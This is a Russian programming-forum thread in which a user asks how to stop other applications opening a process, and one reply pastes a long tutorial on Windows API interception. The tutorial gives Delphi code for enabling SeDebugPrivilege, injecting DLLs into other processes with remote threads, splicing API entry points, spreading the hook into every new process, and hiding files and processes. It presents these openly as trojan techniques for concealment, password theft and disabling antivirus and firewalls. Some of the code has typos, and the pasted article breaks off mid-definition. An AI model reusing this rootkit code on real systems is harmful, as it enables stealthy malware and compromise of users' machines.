Форум программистов, компьютерный форум, киберфорум
C++ Builder
Войти
Регистрация
Восстановить пароль
 
Рейтинг 4.95/37: Рейтинг темы: голосов - 37, средняя оценка - 4.95
Я Фоюмчанин ? дааааа)
213 / 204 / 23
Регистрация: 02.06.2012
Сообщений: 1,424
Записей в блоге: 12
1

Открыть процесс процесс на полный доступ, и запретить для других

20.08.2013, 16:52. Показов 7161. Ответов 13
Метки нет (Все метки)

Всем доброго времени суток.
Друзья,
C++
1
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
Так я открываю процесс на полный доступ.
Вопрос как мне после того как я открыл процесс на полный доступ, запретить любому другому приложению сделать так же?
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
20.08.2013, 16:52
Ответы с готовыми решениями:

Мне непонятен полный процесс создания программ на с++
Здравствуйте! Я начал изучать с++, возник небольшой вопрос. Я пользуюсь программой Code blocks и...

Как запретить убивать процесс
Как запретить убивать процесс программы (пример: Kaspersky):

Запущен ли процесс? или Завершен ли дочерний процесс моей программы?
Моя программа выполняет execute('cmd', '/C ...'). На момент execute-а других экземпляров cmd.exe...

Процесс А инициализирует массив случайными значениями и записывает их в файл, а затем запускает процесс Б
В универ нужно сделать лабу по выше указанной теме. Мне не нужно чтобы за меня делали - нужен...

13
Ушел с форума
Эксперт С++
16425 / 7399 / 1186
Регистрация: 02.05.2013
Сообщений: 11,637
Записей в блоге: 1
20.08.2013, 17:04 2
Создайте список контроля доступа (DACL), в котором пропишите нужные
разрешения/ограничения. И задайте его для процесса функцией SetSecurityInfo.
Только это не имеет смысла, если "другое приложение", которое захочет открыть
процесс, имеет права администратора.
1
Я Фоюмчанин ? дааааа)
213 / 204 / 23
Регистрация: 02.06.2012
Сообщений: 1,424
Записей в блоге: 12
20.08.2013, 17:13  [ТС] 3
Цитата Сообщение от Убежденный Посмотреть сообщение
Только это не имеет смысла, если "другое приложение", которое захочет открыть
процесс, имеет права администратора.
А если создать несколько структур EXPLICIT_ACCESS: для всех и для админа и запретить всем им все?
0
Ушел с форума
Эксперт С++
16425 / 7399 / 1186
Регистрация: 02.05.2013
Сообщений: 11,637
Записей в блоге: 1
20.08.2013, 17:15 4
Во-первых, зачем сразу несколько ? Можно просто сделать один запрещающий
ACE-элемент для всех. Ну а во-вторых, если уж на то пошло, проще сделать пустой DACL.
Никто не сможет открыть процесс (кроме администраторов, конечно, так или иначе).
Но приготовьтесь к тому, что после этого процесс, возможно, начнет вести себя странно.
0
Я Фоюмчанин ? дааааа)
213 / 204 / 23
Регистрация: 02.06.2012
Сообщений: 1,424
Записей в блоге: 12
20.08.2013, 17:43  [ТС] 5
Цитата Сообщение от Убежденный Посмотреть сообщение
Никто не сможет открыть процесс (кроме администраторов, конечно, так или иначе).
А возможно отловить попытку открытия процесса? Хук какой?
Но так что бы именно для нужного процесса а не для всех?
0
Ушел с форума
Эксперт С++
16425 / 7399 / 1186
Регистрация: 02.05.2013
Сообщений: 11,637
Записей в блоге: 1
20.08.2013, 18:09 6
Цитата Сообщение от ivan.-94 Посмотреть сообщение
А возможно отловить попытку открытия процесса? Хук какой?
Наиболее надежный способ связан с написанием драйвера.
Уверены, что оно Вам надо ?
0
Я Фоюмчанин ? дааааа)
213 / 204 / 23
Регистрация: 02.06.2012
Сообщений: 1,424
Записей в блоге: 12
20.08.2013, 18:40  [ТС] 7
Цитата Сообщение от Убежденный Посмотреть сообщение
Уверены, что оно Вам надо ?
Я даже думать об этом не хочу

Добавлено через 1 минуту
Не уже ли нельзя поставить хук на функцию и проверять какие то условие при этом?
0
Ушел с форума
Эксперт С++
16425 / 7399 / 1186
Регистрация: 02.05.2013
Сообщений: 11,637
Записей в блоге: 1
20.08.2013, 18:58 8
Цитата Сообщение от ivan.-94 Посмотреть сообщение
Не уже ли нельзя поставить хук на функцию и проверять какие то условие при этом?
Можно. Но в этом случае хук должен быть глобальным, чтобы действовать
во всех процессах. А это задача не такая тривиальная, как может показаться.
0
Я Фоюмчанин ? дааааа)
213 / 204 / 23
Регистрация: 02.06.2012
Сообщений: 1,424
Записей в блоге: 12
20.08.2013, 19:11  [ТС] 9
Цитата Сообщение от Убежденный Посмотреть сообщение
Но в этом случае хук должен быть глобальным, чтобы действовать
во всех процессах.
Но ведь можно потом отсеивать? допустим зная имя исполняемого файла?
0
Ушел с форума
Эксперт С++
16425 / 7399 / 1186
Регистрация: 02.05.2013
Сообщений: 11,637
Записей в блоге: 1
20.08.2013, 19:15 10
Цитата Сообщение от ivan.-94 Посмотреть сообщение
Но ведь можно потом отсеивать? допустим зная имя исполняемого файла?
Можно.
0
4033 / 2323 / 292
Регистрация: 03.02.2011
Сообщений: 5,066
Записей в блоге: 10
23.08.2013, 23:47 11
Цитата Сообщение от Убежденный Посмотреть сообщение
Можно. Но в этом случае хук должен быть глобальным, чтобы действовать
во всех процессах. А это задача не такая тривиальная, как может показаться.
Цитата Сообщение от ivan.-94 Посмотреть сообщение
Но ведь можно потом отсеивать? допустим зная имя исполняемого файла?
Поставить глобальный хук не так уж и сложно. Другое дело, что некоторые процессы таких издевательств не потерпят. Например, почти все антивирусы защищаются от хуков всеми возможными способами. Наиболее надежный способ - иметь достаточно привилегий, чтобы ставить хук на нулевом уровне системной обороны.

Очень интересная статья есть на wasm.ru, но там щас какие-то работы над сайтом... поэтому вот копия:
Кликните здесь для просмотра всего текста
Перехват API функций в Windows NT (часть 1). Основы перехвата.


Предисловие:
В настоящее время широчайшую распостраненность поличили операционные системы семейства Windows NT/20000/XP. Они широко используются не только как домашние системы, но и в качестве серверов. Эта линейка ОС отличается неплохой защищенностью от вредоносных программ, а так-же для нее существует большое количество дополнительных систем безопасности (различные антивирусы, фаерволлы). Установив антивирус и фаерволл многие пользователи думают, что они стопроцентно защищены, и даже большинство программистов считают, что достаточно почаще проверять свой компьютер на подозрительные вещи (автозагрузка, процессы и.т.д.) и никокая вредоносная программа к ним не сможет проникнуть. В большинстве случаев это действительно так, 99% троянов до сих пор загружаются через HKLM/Run, и для скрытности имеют названия вроде WinLoader32.exe. Глядя на это мне просто смешно становиться. Это дело нужно срочно исправлять, поэтому я написал этот цикл из трех статей, в которых описываются методы перехвата API функций в системах линейки Windows NT на всех возможных уровнях.
Эта технология дает нам огромные возможности. Можно например легко скрыть присутствие трояна в системе так, что даже тшательная проверка компьютера не даст ничего. Можно легко получить пароли на вход в систему. Можно уничтожить антивирусы и обойти фаерволлы. Все это конкретные применения этой технологии (они подробно описаны в статьях), но этому легко придумать и множество других применений (создание систем безопасности, различные эмуляторы). Можно на этой основе снимать триальные ограничения серийно, с многих программ использующих стандартные способы защиты (таких 99%). И при всех этих возможностях сам метод очень прост. Для того, чтобы его понять нужна всего-лишь капля мозгов (не больше).
Основной язык для приводимых фрагментов кода - Delphi, но материал актуален и для любого другого языка (С, С++, Ассемблер и.т.д.). Единственное условие - язык должен быть 100% компилируемым, а также поддерживать работу с указателями и ассемблерные вставки. Так что любителям VB скорее всего придется обломиться. Для полного понимания материала статей нужно таже хотя-бы немножко знать ассемблер и С++.

Теория:
Как известно, OC Windows NT целиком построена на системе DLL (динамически загружаемых библиотек). Система предоставляет приложениям сервисные API функции, с помощью которых оно может взаимодействовать с системой. Перехват API функций позволяет обойти многие ограничения системы и делать с ней практически что угодно.
В этой статье я приведу некоторые методы программирования перехвата API, а также примеры его практического применения. Предполагается, что читатель знаком с программированием в Delphi, работой загрузчика Windows (загрузка и вызов функций DLL), а также имеет некоторые представления о программировании на ассемблере.
API функции представляют и себя ничто иное, как функции в системных DLL. Любой процесс в системе обязательно имеет в своем адресном пространстве Ntdll.dll, где располагаются функции Native API - базовые функции низкоуровневой работы с системой, функции Kernel32.dll являются переходниками к более мощным функциям Ntdll, следовательно целесообразно будет перехватывать именно функции Native API.
Проблема в том, что Native API функции не документированы в SDK, но узнать модель их вызова можно дизассемблируя Kernel32.dll. Нельзя утверждать, что адреса функций в системных библиотеках не изменяются в зависимости от версии ОС, ее сборки либо даже конкретной ситуации. Это происходит из-за того, что предпочитаемая база образа библиотеки (dll preferred imagebase) является константой, которую можно изменять при компиляции. Более того, совсем не обязательно, что dll будет загружена именно по предпочитаемому адресу, - этого может не произойти в результате коллизии с другими модулями, динамически выделенной памятью и т.п. Поэтому статический импорт функций происходит по имени модуля и имени функции (либо ее номера - ординала), предоставляемой этим модулем. Загрузчик PE файла анализирует его таблицу импорта и определяет адреса функций, им импортируемых. В случае, если в таблице импорта указана библиотека, не присутствующая в контексте загружаемой программы, происходит ее отображение в требуемый контекст, настройка ее образа и ситуация рекурсивно повторяется. В результате в требуемом месте определенной секции PE файла (имеющей, как минимум, атрибуты "readable" и "initialized data") заполняется массив адресов импортируемых функций. В процессе работы каждый модуль обращается к своему массиву для определения точки входа в какую-либо функцию.
Следовательно существуют два основных метода перехвата API вызовов: изменение точки входа в таблице импорта и изменение начальных байт самой функции (сплайсинг функции).
Изменение таблиц импорта:
Этот метод выглядит так. Определяется точка входа перехватываемой функции. Составляется список модулей, в настоящий момент загруженных в контекст требуемого процесса. Затем перебираются дескрипторы импорта этих модулей в поиске адресов перехватываемой функции. В случае совпадения этот адрес изменяется на адрес нашего обработчика.
К достоинствам данного метода можно отнести то, что код перехватываемой функции не изменяется, что обеспечивает корректную работу в многопоточном приложении. Недостаток этого метода в том, что приложения могут сохранить адрес функции до перехвата, и затем вызывать её минуя обработчик. Также можно получить адрес функции используя GetProcAddress из Kernel32.dll. Из - за этого недостатка я считаю этот метод бесперспективным в применении и подробно рассматривать его не буду.
Сплайсинг функции:
Этот метод состоит в следующем: определяется адрес перехватываемой функции, и первые 5 байт её начала заменяются на длинный jmp переход по адресу обработчика перехвата.
Если необходимо вызывать перехватываемую функцию, то перед заменой необходимо сохранить её начальные байты и перед вызовом восстанавливать их.
Недостаток данного метода состоит в том, что если после восстановления начала функции произошло переключение контекста на другой поток приложения, то он сможет вызвать функцию минуя перехватчик. Этот недостаток можно устранить останавливая все побочные потоки приложения перед вызовом и запуская после вызова.
Внедрение кода и создание удаленных потоков:
Перехватывать API находящиеся в чужом процессе весьма неудобно, наиболее удобным способом будет внедрение кода перехватчика в процесс и запуск его на исполнение.
Для реализации этого необходимо открыть процесс с флагами PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION. Для получения доступа к системным процессам нам понадобиться привилегия SeDebugPrivilege, поэтому перед установкой перехвата желательно активировать эту привилегию.
Процедура активации SeDebugPrivilege:
function EnableDebugPrivilege():Boolean;
var
hToken: dword;
SeDebugNameValue: Int64;
tkp: TOKEN_PRIVILEGES;
ReturnLength: dword;
begin
Result:=false;
//Добавляем привилегию SeDebugPrivilege
//Получаем токен нашего процесса
OpenProcessToken(INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES
or TOKEN_QUERY, hToken);
//Получаем LUID привилегии
if not LookupPrivilegeValue(nil, 'SeDebugPrivilege', SeDebugNameValue) then
begin
CloseHandle(hToken);
exit;
end;
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Luid := SeDebugNameValue;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
//Добавляем привилегию к процессу
AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TOKEN_PRIVILEGES),
tkp, ReturnLength);
if GetLastError() <> ERROR_SUCCESS then exit;
Result:=true;
end;
Следуюший код осуществляет загрузку в заданый процесс динамической библиотеки. Испольуется метод внедрения кода и создания удаленных потоков.
{ Внедрение Dll в процесс }
Function InjectDll(Process: dword; ModulePath: PChar): boolean;
var
Memoryointer;
Code: dword;
BytesWritten: dword;
ThreadId: dword;
hThread: dword;
hKernel32: dword;
Inject: packed record
PushCommand:byte;
PushArgumentWORD;
CallCommand:WORD;
CallAddrWORD;
PushExitThread:byte;
ExitThreadArg:dword;
CallExitThread:word;
CallExitThreadAddrWord;
AddrLoadLibraryointer;
AddrExitThreadointer;
LibraryName:array[0..MAX_PATH] of char;
end;
begin
Result := false;
Memory := VirtualAllocEx(Process, nil, sizeof(Inject),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if Memory = nil then Exit;
Code := dword(Memory);
//инициализация внедряемого кода:
Inject.PushCommand := $68;
inject.PushArgument := code + $1E;
inject.CallCommand := $15FF;
inject.CallAddr := code + $16;
inject.PushExitThread := $68;
inject.ExitThreadArg := 0;
inject.CallExitThread := $15FF;
inject.CallExitThreadAddr := code + $1A;
hKernel32 := GetModuleHandle('kernel32.dll');
inject.AddrLoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryA');
inject.AddrExitThread := GetProcAddress(hKernel32, 'ExitThread');
lstrcpy(@inject.LibraryName, ModulePath);
//записать машинный код по зарезервированному адресу
WriteProcessMemory(Process, Memory, @inject, sizeof(inject), BytesWritten);
//выполнить машинный код
hThread := CreateRemoteThread(Process, nil, 0, Memory, nil, 0, ThreadId);
if hThread = 0 then Exit;
CloseHandle(hThread);
Result := True;
end;
Обратим внимание на следующую особенность: системные библиотеки Kernel32.dll и Ntdll.dll загружаются во всех процессах по одинаковому адресу, что использовано для инициализации внедряемого кода.
После загрузки DLL в память процесса, будет выполнена её точка входа с аргументом DLL_PROCESS_ATTACH. Загруженная библиотека может после этого установить перехват API функций методом сплайсинга.
Рассмотрим пример библиотеки осуществляющей перехват CreateProcessA:

library ApiHk;
uses
TLHelp32, windows;
type
fr_jmp = packed record
PuhsOp: byte;
PushArg: pointer;
RetOp: byte;
end;
OldCode = packed record
One: dword;
two: word;
end;
var
AdrCreateProcessA: pointer;
OldCrp: OldCode;
JmpCrProcA: far_jmp;
Function OpenThread(dwDesiredAccess: dword; bInheritHandle: bool; dwThreadId: dword):dword;
stdcall; external 'kernel32.dll';

Procedure StopThreads;
var
h, CurrTh, ThrHandle, CurrPr: dword;
Thread: TThreadEntry32;
begin
CurrTh := GetCurrentThreadId;
CurrPr := GetCurrentProcessId;
h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if h <> INVALID_HANDLE_VALUE then
begin
Thread.dwSize := SizeOf(TThreadEntry32);
if Thread32First(h, Thread) then
repeat
if (Thread.th32ThreadID <> CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
begin
ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
if ThrHandle>0 then
begin
SuspendThread(ThrHandle);
CloseHandle(ThrHandle);
end;
end;
until not Thread32Next(h, Thread);
CloseHandle(h);
end;
end;
Procedure RunThreads;
var
h, CurrTh, ThrHandle, CurrPr: dword;
Thread: TThreadEntry32;
begin
CurrTh := GetCurrentThreadId;
CurrPr := GetCurrentProcessId;
h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if h <> INVALID_HANDLE_VALUE then
begin
Thread.dwSize := SizeOf(TThreadEntry32);
if Thread32First(h, Thread) then
repeat
if (Thread.th32ThreadID <> CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
begin
ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
if ThrHandle>0 then
begin
ResumeThread(ThrHandle);
CloseHandle(ThrHandle);
end;
end;
until not Thread32Next(h, Thread);
CloseHandle(h);
end;
end;
function TrueCreateProcessA(lpApplicationName: PChar;
lpCommandLine: PChar;
lpProcessAttributes,
lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
lpCurrentDirectory: PChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL;
begin
//снятие перехвата
WriteProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), Writen);
//вызов функции
result := CreateProcess(lpApplicationName, lpCommandLine, lpProcessAttributes,
lpThreadAttributes, bInheritHandles, dwCreationFlags or
CREATE_SUSPENDED, lpEnvironment, nil, lpStartupInfo,
lpProcessInformation);
//установка перехвата
WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
end;
function NewCreateProcessA(lpApplicationName: PChar;
lpCommandLine: PChar;
lpProcessAttributes,
lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
lpCurrentDirectory: PChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
//наш обработчик CreateProcessA
end;
Procedure SetHook;
var
HKernel32, HUser32: dword;
begin
CurrProc := GetCurrentProcess;
//получение адреса CreateProcessA
AdrCreateProcessA := GetProcAddress(GetModuleHandle('kernel32.dll'), 'CreateProcessA');
//инициализация структуры перехвата CreateProcessA
JmpCrProcA.PuhsOp := $68;
JmpCrProcA.PushArg := @NewCreateProcessA;
JmpCrProcA.RetOp := $C3;
//сохраняем старое начало функции
ReadProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), bw);
//записываем новое начало CreateProcessA
WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
end;

begin
//останавливаем побочные нити
StopThreads;
//устанавливаем перехват
SetHook;
//запускаем нити
RunThreads;
end.
Следует обратить внимание на процедуры StopThreads и RunThreads, они соответственно останавливают и запускают все потоки кроме того, который их вызывает.
Перед установкой API перехвата необходимо останавливать все побочные потоки, иначе процесс записи может быть прерван, и функция вызвана другим потоком, что приведет к ошибке доступа к памяти и аварийному завершению приложения. Этот эффект проявляется не всегда, но может стать причиной нестабильной работы системы, поэтому не следует пренебрегать этим моментом.
Еще один важный момент: при получении адресов перехватываемых функций следует использовать GetModuleHandleA в том случае, если точно известно, что модуль загружен в адресное пространство текущего процесса, иначе следует испольовать LoadLibrary. Гарантировано будут загружены модули Ntdll.dll и те, которые статически импортируются вашей DLL.
Не следует лишний раз использовать LoadLibrary, поскольку это изменяет счетчик загрузок библиотеки, и мешает её корректной выгрузке, когда она не нужна. В крайнем случае можно использовать следующий код:
Handle := GetModuleHandleA('Library.dll');
IF Handle = 0 then Handle := LoadLibrary('Library.dll');
В вышеприведенном примере присутствует функция TrueCreateProcessA, её следует вызывать, если необходимо выполнить настоящий вызов CreateProcessA. Также следует обратить внимание на один важный момент: при написании функции заменяющей перехватываемую следует установить модель вызова аналогичную модели вызова перехватываемой функции, для WinAPI это будет stdcall.

Глобализация:
Допустим необходимо выполнить перехват API не только в текущем процессе, но и в всех последующих запущенных процессах.
Это можно сделать с помощью получения списка процессов и заражения новых процессов, но этот метод далеко не идеален, так как процесс до заражения сможет обращаться к оригинальной функции, также такой поиск приводит к лишнему расходованию системных ресурсов.
Из других недостатков данного метода можно отметить то, что глобализатор будет привязан к одному конкретному процессу, а значит, при его завершении весь перехват накроется.
Другой метод состоит в том, чтобы перехватывать функции создания процессов и внедрять обработчик в созданный процесс еще до выполнения его кода.
Процесс может быть создан множеством функций: CreateProcessA, CreateProcessW, WinExec, ShellExecute, NtCreateProcess. При создании нового процесса обязательно происходит вызов функции ZwCreateThread.

Function ZwCreateThread(ThreadHandle: pdword;
DesiredAccess: ACCESS_MASK;
ObjectAttributes: pointer;
ProcessHandle: THandle;
ClientId: PClientID;
ThreadContext: pointer;
UserStack: pointer;
CreateSuspended: boolean):NTStatus;
stdcall;external 'ntdll.dll';
Нас интересует структура ClientId:
type
PClientID = ^TClientID;
TClientID = packed record
UniqueProcess:cardinal;
UniqueThread:cardinal;
end;
Поле UniqueProcess содержит id процесса, которому принадлежит создаваемая нить.
Наиболее очевидным будет следующий метод:
Перехватываем ZwCreateThread, cверяем UniqueProcess с id текущего процесса, и если они различаются, то внедряем перехватчик в новый процесс. Но этот метод работать не будет, так как в момент создания основной нити процесс еще не проинициализирован и CreateRemoteThread возвращает ошибку.
Поэтому при обнаружении создания нити в новом процессе мы просто установим флаг NewProcess который будем использовать далее.
Обработчик ZwCreateThread будет выглядеть так:
Function NewZwCreateThread(ThreadHandle: PHANDLE;
DesiredAccess: ACCESS_MASK;
ObjectAttributes: pointer;
ProcessHandle: THandle;
ClientId: PClientID;
ThreadContext: pointer;
UserStack: pointer;
CreateSuspended: boolean); stdcall;
begin
//снятие перехвата
WriteProcessMemory(CurrProc, AdrZwCreateThread, @OldZwCreateThread, SizeOf(OldCode), Writen);
//вызываем функцию с флагом CREATE_SUSPENDED, чтобы нить не запустилась до установки перехвата
Result := ZwCreateThread(ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle,
ClientId, ThreadContext, UserStack, true);
//проверяем, принадлежит ли нить к текущему процессу
if CurrProcId <> ClientId.UniqueProcess then
//устанавливаем флаг создания нового процесса
NewProcess := true;
//если надо, то запускаем нить
if not CreateSuspended then ResumeThread(ThreadHandle^);
//установка перехвата
WriteProcessMemory(CurrProc, AdrZwCreateThread, @JmpZwCreateThread, SizeOf(far_jmp), Writen);
end;
После инициализации созданного процесса происходит запуск его основной нити с помощью ZwResumeThread.
Function ZwResumeThread(ThreadHandle: dword;
PreviousSuspendCount: pdword): NTStatus;
stdcall; external 'ntdll.dll';
Перехватив эту функцию мы будем получать хэндлы всех запускаемых нитей.
Нам необходимо по хэндлу нити получить id процесса владеющего этой нитью. Это делает функция ZwQueryInformationThread.
Function ZwQueryInformationThread(ThreadHandle: dword;
ThreadInformationClass: dword;
ThreadInformation: pointer;
ThreadInformationLength: dword;
ReturnLength: pdword):NTStatus;
stdcall;external 'ntdll.dll';
ThreadInformationClass - тип получаемой информации.
В нашем случае = THREAD_BASIC_INFO = 0;
ThreadInformation - указатель на структуру, куда будет записана информация о нити.
В нашем случае это будет структура THREAD_BASIC_INFORMATION:
PTHREAD_BASIC_INFORMATION = ^THREAD_BASIC_INFORMATION;
THREAD_BASIC_INFORMATION = packed record
ExitStatus: BOOL;
TebBaseAddress: pointer;
ClientId: TClientID;
AffinityMask: DWORD;
Priority: dword;
BasePriority: dword;
end;
ClientId.UniqueProcess будет содержать id процесса владеющего нитью.
Если этот процесс отличается от текущего и установлен флаг NewProcess, то мы должны внедрить перехватчик в созданный процесс и сбросить флаг NewProcess.
Обработчик функции ZwResumeThread будет выглядеть примерно так:
function NewZwResumeThread(ThreadHandle: THandle;
PreviousSuspendCount: pdword); stdcall;
var
ThreadInfo: THREAD_BASIC_INFORMATION;
Handle: DWORD;
begin
//снимаем перехват
WriteProcessMemory(CurrProc, AdrZwResumeThread, @OldZwResumeThread, SizeOf(OldCode), Writen);
//получаю информацию о процессе владеющем этой нитью
ZwQueryInformationThread(ThreadHandle, THREAD_BASIC_INFO, @ThreadInfo, SizeOf(THREAD_BASIC_INFORMATION), nil);
if (ThreadInfo.ClientId.UniqueProcess <> CurrProcId) and NewProcess then
begin //заражаем новый процесс
Handle := OpenProcess(PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION,
FALSE, ThreadInfo.ClientId.UniqueProcess);
InjectDll(Handle);
CloseHandle(Handle);
NewProcess := false;
end;
//вызываем оригинальную функцию
Result := ZwResumeThread(ThreadHandle, PreviousSuspendCount);
//устанавливаем перехват
WriteProcessMemory(CurrProc, AdrZwResumeThread, @JmpZwResumeThread, SizeOf(far_jmp), Writen);
end;
Таким образом решается проблема глобализации обработчика.

Практическое применение:
Теперь кратко поговорим о возможных применениях перехвата API:
Широчайшее применение подобная технология может найти в троянских программах.
Например можно создать невидимый процесс, скрыть какие-либо файлы на диске, скрыть записи в реестре и скрыть сетевые соединения.
Можно легко обойти персональные фаерволлы. Можно делать с системой все, что угодно.*
К примеру, для скрытия файлов на диске нам нужно перехватить функцию ZwQueryDirectoryFile из ntdll.dll. Она является базовой для всех API перечисления файлов.

Рассмотрим прототип этой функции:
Function ZwQueryDirectoryFile(FileHandle: dword;
Event: dword;
ApcRoutine: pointer;
ApcContext: pointer;
IoStatusBlock: pointer;
FileInformation: pointer;
FileInformationLength: dword;
FileInformationClass: dword;
ReturnSingleEntry: bool;
FileName: PUnicodeString;
RestartScan: bool): NTStatus;
stdcall; external 'ntdll.dll';
Для нас важны параметры FileHandle, FileInformation и FileInformationClass.
FileHandle - хэндл объекта директории, который может быть получен с использованием функции ZwOpenFile.
FileInformation - указатель на выделенную память, куда функция запишет необходимые данные.
FileInformationClass определяет тип записей в FileInformation.
FileInformationClass перечислимого типа, но нам необходимы только четыре его значения, используемые для просмотра содержимого директории.
const
FileDirectoryInformation = 1;
FileFullDirectoryInformation = 2;
FileBothDirectoryInformation = 3;
FileNamesInformation = 12;
Структура записи в FileInformation для FileDirectoryInformation:
type
FILE_DIRECTORY_INFORMATION = packed record
NextEntryOffset: ULONG;
Unknown: ULONG;
CreationTime,
LastAccessTime,
LastWriteTime,
ChangeTime,
EndOfFile,
AllocationSize: int64;
FileAttributes: ULONG;
FileNameLength: ULONG;
FileName: PWideChar;
end;
для FileFullDirectoryInformation:
type
FILE_FULL_DIRECTORY_INFORMATION = packed record
NextEntryOffset: ULONG;
Unknown: ULONG;
CreationTime,
LastAccessTime,
LastWriteTime,
ChangeTime,
EndOfFile,
AllocationSize: int64;
FileAttributes: ULONG;
FileNameLength: ULONG;
EaInformationLength: ULONG;
FileName: PWideChar;
end;
для FileBothDirectoryInformation:
type
FILE_BOTH_DIRECTORY_INFORMATION = packed record
NextEntryOffset: ULONG;
Unknown: ULONG;
CreationTime,
LastAccessTime,
LastWriteTime,
ChangeTime,
EndOfFile,
AllocationSize: int64;
FileAttributes: ULONG;
FileNameLength: ULONG;
EaInformationLength: ULONG;
AlternateNameLength: ULONG;
AlternateName[0..11]: array of WideChar;
FileName: PWideChar;
end;
и для FileNamesInformation:
type
FILE_NAMES_INFORMATION = packed record
NextEntryOffset: ULONG;
Unknown: ULONG;
FileNameLength: ULONG;
FileName: PWideChar;
end;
Функция записывает набор этих структур в буфер FileInformation.
Во всех этих типах структур для нас важны только три переменных:
NextEntryOffset - размер данного элемента списка.
Первый элемент расположен по адресу FileInformation + 0, а второй элемент по адресу FileInformation + NextEntryOffset первого элемента. У последнего элемента поле NextEntryOffset содержит нуль.*
FileName - это полное имя файла.*
FileNameLength - это длина имени файла

Для скрытия файла, необходимо сравнить имя каждой возвращаемой записи и имя файла, который мы хотим скрыть.
Если мы хотим скрыть первую запись, нужно сдвинуть следующие за ней структуры на размер первой записи. Это приведет к тому, что первая запись будет затерта. Если мы хотим скрыть другую запись, мы можем просто изменить значение NextEntryOffset предыдущей записи. Новое значение NextEntryOffset будет нуль, если мы хотим скрыть последнюю запись, иначе значение будет суммой полей NextEntryOffset записи, которую мы хотим скрыть и предыдущей записи. Затем необходимо изменить значение поля Unknown предыдущей записи, которое предоставляет индекс для последующего поиска. Значение поля Unknown предыдущей записи должно равняться значению поля Unknown записи, которую мы хотим скрыть.
Если нет ни одной записи, которую можно видеть, мы должны вернуть ошибку STATUS_NO_SUCH_FILE.
const
STATUS_NO_SUCH_FILE = $C000000F;
Скрытие процессов:
Список процессов можно получить различными методами: EnumProcesses, CreateToolHelp32Snapshot и.др., но все эти API обращаются к базовой функции ZwQuerySystemInformation.

Рассмотрим прототип этой функции:
Function ZwQuerySystemInformation(ASystemInformationClass: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength:PCardinal): NTStatus;
stdcall;external 'ntdll.dll';
SystemInformationClass указывает тип информации, которую мы хотим получить, SystemInformation - это указатель на результирующий буфер, SystemInformationLength - размер этого буфера и ReturnLength - количество записанных байт.
Эта функция может возвращать различные классы информации, каждый из которых определен своей структурой. Вот список классов возвращаемых функцией:
const // SYSTEM_INFORMATION_CLASS
SystemBasicInformation = 0;
SystemProcessorInformation = 1;
SystemPerformanceInformation = 2;
SystemTimeOfDayInformation = 3;
SystemNotImplemented1 = 4;
SystemProcessesAndThreadsInformation = 5;
SystemCallCounts = 6;
SystemConfigurationInformation = 7;
SystemProcessorTimes = 8;
SystemGlobalFlag = 9;
SystemNotImplemented2 = 10;
SystemModuleInformation = 11;
SystemLockInformation = 12;
SystemNotImplemented3 = 13;
SystemNotImplemented4 = 14;
SystemNotImplemented5 = 15;
SystemHandleInformation = 16;
SystemObjectInformation = 17;
SystemPagefileInformation = 18;
SystemInstructionEmulationCounts = 19;
SystemInvalidInfoClass = 20;
SystemCacheInformation = 21;
SystemPoolTagInformation = 22;
SystemProcessorStatistics = 23;
SystemDpcInformation = 24;
SystemNotImplemented6 = 25;
SystemLoadImage = 26;
SystemUnloadImage = 27;
SystemTimeAdjustment = 28;
SystemNotImplemented7 = 29;
SystemNotImplemented8 = 30;
SystemNotImplemented9 = 31;
SystemCrashDumpInformation = 32;
SystemExceptionInformation = 33;
SystemCrashDumpStateInformation = 34;
SystemKernelDebuggerInformation = 35;
SystemContextSwitchInformation = 36;
SystemRegistryQuotaInformation = 37;
SystemLoadAndCallImage = 38;
SystemPrioritySeparation = 39;
SystemNotImplemented10 = 40;
SystemNotImplemented11 = 41;
SystemInvalidInfoClass2 = 42;
SystemInvalidInfoClass3 = 43;
SystemTimeZoneInformation = 44;
SystemLookasideInformation = 45;
SystemSetTimeSlipEvent = 46;
SystemCreateSession = 47;
SystemDeleteSession = 48;
SystemInvalidInfoClass4 = 49;
SystemRangeStartInformation = 50;
SystemVerifierInformation = 51;
SystemAddVerifier = 52;
SystemSessionProcessesInformation = 53;
Для перечисления запущенных процессов мы устанавливаем в параметр SystemInformationClass в значение SystemProcessesAndThreadsInformation.
Возвращаемая структура в буфере SystemInformation:
PSYSTEM_PROCESSES = ^SYSTEM_PROCESSES
SYSTEM_PROCESSES = packed record
NextEntryDelta,
ThreadCount: dword;
Reserved1 : array [0..5] of dword;
CreateTime,
UserTime,
KernelTime: LARGE_INTEGER;
ProcessName: TUnicodeString;
BasePriority: dword;
ProcessId,
InheritedFromProcessId,
HandleCount: dword;
